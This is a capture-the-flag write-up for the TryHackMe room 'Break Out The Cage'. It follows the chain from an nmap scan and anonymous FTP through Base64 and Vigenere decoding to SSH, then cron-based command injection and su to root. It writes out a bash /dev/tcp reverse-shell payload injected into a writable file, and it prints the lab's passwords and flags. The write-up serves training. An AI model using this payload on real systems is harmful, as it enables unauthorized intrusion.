Platform: TryHackMe Room: Break Out The Cage Difficulty: Easy Author: Shikhali Jamalzade GitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzads

"Put… the bunny… back… in the box." — Con Air

Overview

Break Out The Cage is an Easy-rated TryHackMe room themed around the one and only Nicolas Cage. Despite the lighthearted theme, the room chains together several real-world attack techniques: anonymous FTP access, multi-layer cryptography, SSH lateral movement, cron-based command injection, and classical cipher analysis for privilege escalation.

This writeup documents the complete attack chain from initial recon to root.

Reconnaissance

Port Scanning

Starting with a full-port Nmap scan to get a complete picture of the attack surface:

nmap 10.48.182.244 -p- --open -sVC -Pn -n

Results:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
|_-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 (Ubuntu)

Three open ports. The most interesting finding right away: anonymous FTP login is allowed, and there's already a file sitting there — dad_tasks.

Web Enumeration

Port 80 hosts a Nicolas Cage personal website. Poking around the source, it's a static HTML page — no login forms, no dynamic content. The real entry point is FTP.

Initial Access

Step 1 — Anonymous FTP & Exfiltration

Connecting to FTP without credentials:

ftp 10.48.182.244
# Username: anonymous
# Password: (blank)
ftp> get dad_tasks

The file content:

UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJH
UVJPIS...

Classic Base64. Decoding immediately:

cat dad_tasks | base64 -d

Output:

Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl

Still encrypted. The structure looks like a Vigenere cipher.

Step 2 — Vigenere Cipher Decryption

The first line Qapw Eekcl immediately looks like Nicholas Cage — same character count, same word lengths. Using this as a known-plaintext attack on dcode.fr/vigenere-cipher:

  • Method: Knowing a plaintext word
  • Ciphertext fragment: Qapw Eekcl
  • Known plaintext: Nicholas Cage

Key recovered: NAMELESSSTWO

Full decrypted text:

Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.
In case I forget....
Mydadisghostrideraintthatcoolnocausehesonfirejokes

The last line is clearly a password. The website mentioned his son Weston set it up — that gives us a username.

Step 3 — SSH as weston

ssh weston@10.48.182.244
# Password: Mydadisghostrideraintthatcoolnocausehesonfirejokes

We're in.

Privilege Escalation — weston → cage

Enumeration

Running sudo -l:

User weston may run the following commands on national-treasure:
    (root) /usr/bin/bees

/usr/bin/bees just runs wall "AHHHHHHH THEEEEE BEEEEESSSS!!" — not directly exploitable.

Checking group memberships:

id
# uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)

Weston is in the cage group. Running LinPEAS reveals a critical finding:

Group cage:
/opt/.dads_scripts/.files/.quotes    (-rwxrw----)

The .quotes file is group-writable. Investigating further:

cat /opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python
import os
import random
lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)

This script reads a random line from .quotes and passes it directly to os.system("wall " + quote). That's command injection — whatever is in .quotes gets executed as a shell command.

Watching the broadcast messages confirms the script runs every 3 minutes via a cron job under the cage user.

Exploitation — Cron-based Command Injection

Setting up a listener on the attack machine:

nc -lvnp 4445

Replacing the contents of .quotes with a single reverse shell payload so random.choice has no other option:

echo 'x; bash -c "bash -i >& /dev/tcp/192.168.144.75/4445 0>&1"; #' > /opt/.dads_scripts/.files/.quotes

When the cron job fires, os.system executes:

wall x; bash -c "bash -i >& /dev/tcp/192.168.144.75/4445 0>&1"; #

Shell received as cage.

cage@national-treasure:~$

Flag 1

cat ~/Super_Duper_Checklist
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}

Privilege Escalation — cage → root

Email Analysis

Enumerating cage's home directory reveals an email_backup folder with three emails. email_3 stands out:

From - Cage@nationaltreasure.com
To - Weston@nationaltreasure.com
Hey Son,
Sean left a note on his desk with some really strange writing on it.
Could you look into it please? The note said:
haiinspsyanileph

The email also mentions Sean is "obsessed with my face lately. He came in wearing a mask of my face."

Key hint: FACE

Vigenere Decryption — Round 2

Back to dcode.fr/vigenere-cipher:

  • Ciphertext: haiinspsyanileph
  • Key: FACE

Plaintext: cageisnotalegend

Root Access

su root
# Password: cageisnotalegend
root@national-treasure:~#

Flag 2

cat ~/email_backup/email_2
To ascend yourself to this level please use this code:
THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Attack Chain Summary

[Recon] nmap -p- -sVC
         └─► FTP anonymous login → dad_tasks (Base64)
[Crypto] Base64 decode → Vigenere (key: NAMELESSSTWO)
         └─► Password: Mydadisghostrideraintthatcoolnocausehesonfirejokes
[Access] SSH → weston@target
[PrivEsc #1] weston ∈ cage group
             └─► /opt/.dads_scripts/.files/.quotes (group-writable)
             └─► spread_the_quotes.py → os.system() → Command Injection
             └─► Cron job (every 3 min) → Reverse shell as cage
[Flag 1] THM{M37AL_0R_P3N_T35T1NG}
[PrivEsc #2] email_backup/email_3 → haiinspsyanileph
             └─► Vigenere (key: FACE) → cageisnotalegend
             └─► su root
[Flag 2] THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Key Takeaways

Anonymous FTP is still a common misconfiguration that leaks sensitive data. Never leave files with credentials or hints accessible without authentication.

Multi-layer encoding (Base64 + Vigenere) provides a false sense of security. Known-plaintext attacks trivially break Vigenere when the attacker can guess even a fragment of the plaintext.

os.system() with unsanitized input is one of the most dangerous patterns in Python scripting. If user-controlled data (even indirectly, through a writable file) reaches os.system(), it's game over. Use subprocess with argument lists instead.

Cron jobs running as privileged users that touch world/group-writable files are a classic privilege escalation vector. Always audit cron job file permissions during a Linux engagement.

Hints hidden in plaintext (the "face" reference in the email) are a common CTF mechanic, but they mirror real-world situations where developers leave cryptographic keys in comments, emails, or documentation.

Tools Used

Tool Purpose Nmap Port scanning & service detection ftp Anonymous FTP access base64 Decoding dad_tasks dcode.fr Vigenere cipher analysis LinPEAS Linux privilege escalation enumeration nc (netcat) Reverse shell listener ssh Remote access

Author: Shikhali Jamalzade GitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzads